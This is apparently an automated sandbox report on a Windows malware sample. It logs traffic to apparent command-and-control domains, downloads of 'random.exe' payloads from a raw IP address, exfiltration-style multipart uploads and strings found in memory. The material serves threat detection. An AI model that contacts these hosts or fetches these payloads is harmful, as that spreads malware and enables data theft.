Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deafeninggeh.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UCUVNWGD0C26NHF4RJUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SLSWRXXDD8XMW1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15052Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0D2DTC1DFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20512Host: treehoneyi.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0001E0C0 recv,recv,recv,recv,

0_2_0001E0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=TmUWwkAQBKXXTWTE1734696758 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=25bf8d3a7410e4266fdebffb; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25665Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 20 Dec 2024 12:12:51 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5ht.top
Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz
Source: global traffic	DNS traffic detected: DNS query: deafeninggeh.biz
Source: global traffic	DNS traffic detected: DNS query: effecterectz.xyz
Source: global traffic	DNS traffic detected: DNS query: diffuculttan.xyz
Source: global traffic	DNS traffic detected: DNS query: debonairnukk.xyz
Source: global traffic	DNS traffic detected: DNS query: wrathful-jammy.cyou
Source: global traffic	DNS traffic detected: DNS query: awake-weaves.cyou
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: sordid-snaked.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: github.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php02.
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe0
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe34
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe8
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exep
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe?T_
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeD
Source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeZ1
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe?T_
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exeg
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: powershell.exe, 00000010.00000002.3207165275.0000000005376000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 0cf121b643.exe, 0000000E.00000002.3290091056.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3207165275.0000000005221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: powershell.exe, 00000010.00000002.3207165275.0000000005376000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
